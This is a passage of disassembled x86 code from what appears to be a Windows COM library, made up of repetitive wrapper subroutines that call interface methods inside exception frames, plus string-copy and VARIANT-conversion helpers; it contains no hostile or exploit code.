loc_69B79E58: ; CODE XREF: sub_69B79D26+C5j
mov [edi+8], eax
loc_69B79E5B: ; CODE XREF: sub_69B79D26+2Bj
; sub_69B79D26+63j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B79D26 endp
; =============== S U B R O U T I N E =======================================
sub_69B79E62 proc near ; DATA XREF: .text:69B144ECo
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+38h]
push eax
call sub_69B17320
mov ecx, [esi+4]
cmp dword ptr [ecx+40h], 4
jnz short loc_69B79E95
call sub_69B3D6C4
test eax, eax
jz short loc_69B79E95
cmp dword ptr [esi+34h], 0
jnz short loc_69B79E95
push dword ptr [esi+24h]
lea ecx, [esi-0Ch]
call sub_69B79AE9
loc_69B79E95: ; CODE XREF: sub_69B79E62+17j
; sub_69B79E62+20j ...
pop esi
retn 4
sub_69B79E62 endp
; =============== S U B R O U T I N E =======================================
sub_69B79E99 proc near ; DATA XREF: .text:69B169FCo
mov eax, 80004001h
retn 28h
sub_69B79E99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B79EA1 proc near ; DATA XREF: .text:off_69B169D0o
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B79EBB
mov eax, 80004005h
jmp short locret_69B79F2E
; ---------------------------------------------------------------------------
loc_69B79EBB: ; CODE XREF: sub_69B79EA1+11j
push ebx
mov ebx, [ebp+arg_0]
push esi
push dword ptr [ebx+10h]
lea ecx, [ebp+var_10]
push eax
call sub_69B1B406
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_69B79F14
and dword ptr [eax], 0
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor edx, edx
repe cmpsd
jz short loc_69B79F05
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2B140
xor edx, edx
repe cmpsd
jz short loc_69B79F05
push eax
push [ebp+arg_4]
push ebx
call sub_69B45BAF
jmp short loc_69B79F0F
; ---------------------------------------------------------------------------
loc_69B79F05: ; CODE XREF: sub_69B79EA1+45j
; sub_69B79EA1+56j
mov [eax], ebx
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
xor eax, eax
loc_69B79F0F: ; CODE XREF: sub_69B79EA1+62j
mov esi, eax
pop edi
jmp short loc_69B79F19
; ---------------------------------------------------------------------------
loc_69B79F14: ; CODE XREF: sub_69B79EA1+30j
mov esi, 80004003h
loc_69B79F19: ; CODE XREF: sub_69B79EA1+71j
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
mov eax, esi
pop esi
pop ebx
locret_69B79F2E: ; CODE XREF: sub_69B79EA1+18j
leave
retn 0Ch
sub_69B79EA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B79F32 proc near ; DATA XREF: .text:69B169DCo
push 20h
push offset dword_69B79FD8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B79F54
mov eax, 80004005h
jmp short loc_69B79FD0
; ---------------------------------------------------------------------------
loc_69B79F54: ; CODE XREF: sub_69B79F32+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B79F7C
mov ebx, 80070057h
jmp short loc_69B79FB5
; ---------------------------------------------------------------------------
loc_69B79F7C: ; CODE XREF: sub_69B79F32+41j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+38h]
mov [edi], eax
jmp short loc_69B79FB1
; ---------------------------------------------------------------------------
loc_69B79F91: ; DATA XREF: .text:69B79FDCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B79F9A: ; DATA XREF: .text:69B79FE0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B79FB1: ; CODE XREF: sub_69B79F32+5Dj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B79FB5: ; CODE XREF: sub_69B79F32+48j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B79FD0: ; CODE XREF: sub_69B79F32+20j
call sub_69B1853C
retn 8
sub_69B79F32 endp
; ---------------------------------------------------------------------------
dword_69B79FD8 dd 0FFFFFFFFh dd offset loc_69B79F91
dd offset loc_69B79F9A
; =============== S U B R O U T I N E =======================================
sub_69B79FE4 proc near ; DATA XREF: .text:69B169E0o
push 20h
push offset dword_69B7A090
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A006
mov eax, 80004005h
jmp short loc_69B7A082
; ---------------------------------------------------------------------------
loc_69B7A006: ; CODE XREF: sub_69B79FE4+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B7A02E
mov ebx, 80070057h
jmp short loc_69B7A067
; ---------------------------------------------------------------------------
loc_69B7A02E: ; CODE XREF: sub_69B79FE4+41j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov [edi], eax
jmp short loc_69B7A063
; ---------------------------------------------------------------------------
loc_69B7A043: ; DATA XREF: .text:69B7A094o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A04C: ; DATA XREF: .text:69B7A098o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A063: ; CODE XREF: sub_69B79FE4+5Dj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A067: ; CODE XREF: sub_69B79FE4+48j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A082: ; CODE XREF: sub_69B79FE4+20j
call sub_69B1853C
retn 8
sub_69B79FE4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A090 dd 0FFFFFFFFh dd offset loc_69B7A043
dd offset loc_69B7A04C
; =============== S U B R O U T I N E =======================================
sub_69B7A09C proc near ; DATA XREF: .text:69B169E4o
push 20h
push offset dword_69B7A150
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A0C1
mov eax, 80004005h
jmp loc_69B7A143
; ---------------------------------------------------------------------------
loc_69B7A0C1: ; CODE XREF: sub_69B7A09C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+14h]
cmp edi, ebx
jnz short loc_69B7A0E9
mov ebx, 80070057h
jmp short loc_69B7A128
; ---------------------------------------------------------------------------
loc_69B7A0E9: ; CODE XREF: sub_69B7A09C+44j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+40h]
mov [edi], eax
jmp short loc_69B7A124
; ---------------------------------------------------------------------------
loc_69B7A104: ; DATA XREF: .text:69B7A154o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A10D: ; DATA XREF: .text:69B7A158o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A124: ; CODE XREF: sub_69B7A09C+66j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A128: ; CODE XREF: sub_69B7A09C+4Bj
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A143: ; CODE XREF: sub_69B7A09C+20j
call sub_69B1853C
retn 10h
sub_69B7A09C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A150 dd 0FFFFFFFFh dd offset loc_69B7A104
dd offset loc_69B7A10D
; =============== S U B R O U T I N E =======================================
sub_69B7A15C proc near ; DATA XREF: .text:69B169E8o
push 20h
push offset dword_69B7A210
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7A181
mov eax, 80004005h
jmp loc_69B7A205
; ---------------------------------------------------------------------------
loc_69B7A181: ; CODE XREF: sub_69B7A15C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
cmp [ebp+18h], edi
jnz short loc_69B7A1A7
mov edi, 80070057h
jmp short loc_69B7A1EA
; ---------------------------------------------------------------------------
loc_69B7A1A7: ; CODE XREF: sub_69B7A15C+42j
mov [ebp-4], edi
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+44h]
jmp short loc_69B7A1E6
; ---------------------------------------------------------------------------
loc_69B7A1C6: ; DATA XREF: .text:69B7A214o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A1CF: ; DATA XREF: .text:69B7A218o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B7A1E6: ; CODE XREF: sub_69B7A15C+68j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A1EA: ; CODE XREF: sub_69B7A15C+49j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B7A205: ; CODE XREF: sub_69B7A15C+20j
call sub_69B1853C
retn 14h
sub_69B7A15C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A210 dd 0FFFFFFFFh dd offset loc_69B7A1C6
dd offset loc_69B7A1CF
; =============== S U B R O U T I N E =======================================
sub_69B7A21C proc near ; DATA XREF: .text:69B169ECo
push 20h
push offset dword_69B7A2D0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A241
mov eax, 80004005h
jmp loc_69B7A2C2
; ---------------------------------------------------------------------------
loc_69B7A241: ; CODE XREF: sub_69B7A21C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
sub esp, 10h
lea esi, [ebp+18h]
mov edi, esp
movsd
movsd
movsd
movsd
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+48h]
jmp short loc_69B7A2A3
; ---------------------------------------------------------------------------
loc_69B7A283: ; DATA XREF: .text:69B7A2D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A28C: ; DATA XREF: .text:69B7A2D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A2A3: ; CODE XREF: sub_69B7A21C+65j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A2C2: ; CODE XREF: sub_69B7A21C+20j
call sub_69B1853C
retn 20h
sub_69B7A21C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A2D0 dd 0FFFFFFFFh dd offset loc_69B7A283
dd offset loc_69B7A28C
; =============== S U B R O U T I N E =======================================
sub_69B7A2DC proc near ; DATA XREF: .text:69B169F4o
push 20h
push offset dword_69B7A390
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A301
mov eax, 80004005h
jmp loc_69B7A383
; ---------------------------------------------------------------------------
loc_69B7A301: ; CODE XREF: sub_69B7A2DC+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+14h]
cmp edi, ebx
jnz short loc_69B7A329
mov ebx, 80070057h
jmp short loc_69B7A368
; ---------------------------------------------------------------------------
loc_69B7A329: ; CODE XREF: sub_69B7A2DC+44j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+4Ch]
mov [edi], eax
jmp short loc_69B7A364
; ---------------------------------------------------------------------------
loc_69B7A344: ; DATA XREF: .text:69B7A394o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A34D: ; DATA XREF: .text:69B7A398o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A364: ; CODE XREF: sub_69B7A2DC+66j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A368: ; CODE XREF: sub_69B7A2DC+4Bj
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A383: ; CODE XREF: sub_69B7A2DC+20j
call sub_69B1853C
retn 10h
sub_69B7A2DC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A390 dd 0FFFFFFFFh dd offset loc_69B7A344
dd offset loc_69B7A34D
; =============== S U B R O U T I N E =======================================
sub_69B7A39C proc near ; DATA XREF: .text:69B169F8o
push 20h
push offset dword_69B7A450
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A3C1
mov eax, 80004005h
jmp loc_69B7A443
; ---------------------------------------------------------------------------
loc_69B7A3C1: ; CODE XREF: sub_69B7A39C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+14h]
cmp edi, ebx
jnz short loc_69B7A3E9
mov ebx, 80070057h
jmp short loc_69B7A428
; ---------------------------------------------------------------------------
loc_69B7A3E9: ; CODE XREF: sub_69B7A39C+44j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+50h]
mov [edi], eax
jmp short loc_69B7A424
; ---------------------------------------------------------------------------
loc_69B7A404: ; DATA XREF: .text:69B7A454o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A40D: ; DATA XREF: .text:69B7A458o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A424: ; CODE XREF: sub_69B7A39C+66j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A428: ; CODE XREF: sub_69B7A39C+4Bj
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A443: ; CODE XREF: sub_69B7A39C+20j
call sub_69B1853C
retn 10h
sub_69B7A39C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A450 dd 0FFFFFFFFh dd offset loc_69B7A404
dd offset loc_69B7A40D
; =============== S U B R O U T I N E =======================================
sub_69B7A45C proc near ; DATA XREF: .text:69B16A00o
push 20h
push offset dword_69B7A4F8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7A47E
mov eax, 80004005h
jmp short loc_69B7A4ED
; ---------------------------------------------------------------------------
loc_69B7A47E: ; CODE XREF: sub_69B7A45C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+0Ch]
call dword ptr [eax+54h]
jmp short loc_69B7A4CE
; ---------------------------------------------------------------------------
loc_69B7A4AE: ; DATA XREF: .text:69B7A4FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A4B7: ; DATA XREF: .text:69B7A500o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B7A4CE: ; CODE XREF: sub_69B7A45C+50j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B7A4ED: ; CODE XREF: sub_69B7A45C+20j
call sub_69B1853C
retn 8
sub_69B7A45C endp
; ---------------------------------------------------------------------------
align 4
dword_69B7A4F8 dd 0FFFFFFFFh dd offset loc_69B7A4AE
dd offset loc_69B7A4B7
; =============== S U B R O U T I N E =======================================
sub_69B7A504 proc near ; DATA XREF: .text:69B16A04o
push 20h
push offset dword_69B7A5A0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7A526
mov eax, 80004005h
jmp short loc_69B7A595
; ---------------------------------------------------------------------------
loc_69B7A526: ; CODE XREF: sub_69B7A504+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
push dword ptr [ebp+0Ch]
call dword ptr [eax+58h]
jmp short loc_69B7A576
; ---------------------------------------------------------------------------
loc_69B7A556: ; DATA XREF: .text:69B7A5A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A55F: ; DATA XREF: .text:69B7A5A8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B7A576: ; CODE XREF: sub_69B7A504+50j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B7A595: ; CODE XREF: sub_69B7A504+20j
call sub_69B1853C
retn 8
sub_69B7A504 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A5A0 dd 0FFFFFFFFh dd offset loc_69B7A556
dd offset loc_69B7A55F
; =============== S U B R O U T I N E =======================================
sub_69B7A5AC proc near ; DATA XREF: .text:69B16A08o
push 20h
push offset dword_69B7A658
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A5CE
mov eax, 80004005h
jmp short loc_69B7A64A
; ---------------------------------------------------------------------------
loc_69B7A5CE: ; CODE XREF: sub_69B7A5AC+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B7A5F6
mov ebx, 80070057h
jmp short loc_69B7A62F
; ---------------------------------------------------------------------------
loc_69B7A5F6: ; CODE XREF: sub_69B7A5AC+41j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov [edi], eax
jmp short loc_69B7A62B
; ---------------------------------------------------------------------------
loc_69B7A60B: ; DATA XREF: .text:69B7A65Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A614: ; DATA XREF: .text:69B7A660o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A62B: ; CODE XREF: sub_69B7A5AC+5Dj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A62F: ; CODE XREF: sub_69B7A5AC+48j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A64A: ; CODE XREF: sub_69B7A5AC+20j
call sub_69B1853C
retn 8
sub_69B7A5AC endp
; ---------------------------------------------------------------------------
align 8
dword_69B7A658 dd 0FFFFFFFFh dd offset loc_69B7A60B
dd offset loc_69B7A614
; =============== S U B R O U T I N E =======================================
sub_69B7A664 proc near ; DATA XREF: .text:69B16A0Co
push 20h
push offset dword_69B7A710
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7A686
mov eax, 80004005h
jmp short loc_69B7A702
; ---------------------------------------------------------------------------
loc_69B7A686: ; CODE XREF: sub_69B7A664+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B7A6AE
mov ebx, 80070057h
jmp short loc_69B7A6E7
; ---------------------------------------------------------------------------
loc_69B7A6AE: ; CODE XREF: sub_69B7A664+41j
mov [ebp-4], ebx
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+60h]
mov [edi], eax
jmp short loc_69B7A6E3
; ---------------------------------------------------------------------------
loc_69B7A6C3: ; DATA XREF: .text:69B7A714o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A6CC: ; DATA XREF: .text:69B7A718o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B7A6E3: ; CODE XREF: sub_69B7A664+5Dj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B7A6E7: ; CODE XREF: sub_69B7A664+48j
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B7A702: ; CODE XREF: sub_69B7A664+20j
call sub_69B1853C
retn 8
sub_69B7A664 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7A710 dd 0FFFFFFFFh dd offset loc_69B7A6C3
dd offset loc_69B7A6CC
; =============== S U B R O U T I N E =======================================
sub_69B7A71C proc near ; DATA XREF: .text:69B16A10o
push 20h
push offset dword_69B7A7B8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7A73E
mov eax, 80004005h
jmp short loc_69B7A7AA
; ---------------------------------------------------------------------------
loc_69B7A73E: ; CODE XREF: sub_69B7A71C+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
mov esi, [esi+10h]
mov [ebp-30h], esi
lea ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+64h]
jmp short loc_69B7A78B
; ---------------------------------------------------------------------------
loc_69B7A76B: ; DATA XREF: .text:69B7A7BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7A774: ; DATA XREF: .text:69B7A7C0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B7A78B: ; CODE XREF: sub_69B7A71C+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B7A7AA: ; CODE XREF: sub_69B7A71C+20j
call sub_69B1853C
retn 4
sub_69B7A71C endp
; ---------------------------------------------------------------------------
align 8
dword_69B7A7B8 dd 0FFFFFFFFh dd offset loc_69B7A76B
dd offset loc_69B7A774
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7A7C4 proc near ; CODE XREF: sub_69B7B48A+1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_4], eax
jnz short loc_69B7A7D5
mov eax, 80070057h
jmp short loc_69B7A802
; ---------------------------------------------------------------------------
loc_69B7A7D5: ; CODE XREF: sub_69B7A7C4+8j
mov edx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_8]
loc_69B7A7DC: ; CODE XREF: sub_69B7A7C4+2Aj
mov cx, [esi]
test cx, cx
jz short loc_69B7A7F0
mov [edx], cx
inc edx
inc edx
inc esi
inc esi
dec [ebp+arg_4]
jnz short loc_69B7A7DC
loc_69B7A7F0: ; CODE XREF: sub_69B7A7C4+1Ej
cmp [ebp+arg_4], 0
pop esi
jnz short loc_69B7A7FE
dec edx
dec edx
mov eax, 8007007Ah
loc_69B7A7FE: ; CODE XREF: sub_69B7A7C4+31j
and word ptr [edx], 0
loc_69B7A802: ; CODE XREF: sub_69B7A7C4+Fj
pop ebp
retn 0Ch
sub_69B7A7C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7A806 proc near ; CODE XREF: sub_69B7D68D+11Bp
arg_0 = dword ptr 4
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz short loc_69B7A84A
push esi
call sub_69B84C68
test eax, eax
pop ecx
jz short loc_69B7A84A
push ebx
lea ebx, [eax+eax]
lea eax, [ebx+2]
push eax
call sub_69B11E44
mov ebp, eax
test ebp, ebp
jz short loc_69B7A849
push edi
mov ecx, ebx
mov eax, ecx
shr ecx, 2
mov edi, ebp
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
and word ptr [ebx+ebp], 0
pop edi
loc_69B7A849: ; CODE XREF: sub_69B7A806+28j
pop ebx
loc_69B7A84A: ; CODE XREF: sub_69B7A806+Aj
; sub_69B7A806+15j
pop esi
mov eax, ebp
pop ebp
retn 4
sub_69B7A806 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7A851(VARIANTARG pvarSrc, int)
sub_69B7A851 proc near ; CODE XREF: sub_69B7D68D+DBp
; sub_69B7D68D+F9p
pvarg = VARIANTARG ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
pvarSrc = VARIANTARG ptr 8
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_10]
push esi
xor esi, esi
cmp eax, esi
mov [ebp+var_4], esi
jz loc_69B7A8ED
cmp word ptr [ebp+pvarSrc.anonymous_0], si
mov [eax], esi
jz short loc_69B7A8ED
cmp word ptr [ebp+pvarSrc.anonymous_0], 1
jz short loc_69B7A8ED
cmp word ptr [ebp+pvarSrc.anonymous_0], 0Ah
jz short loc_69B7A8ED
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push 8 ; vt
push 1 ; wFlags
lea eax, [ebp+pvarSrc]
push eax ; pvarSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call VariantChangeType
test eax, eax
jl short loc_69B7A8ED
push ebx
push dword ptr [ebp+pvarg.anonymous_0+8]
call sub_69B84C68
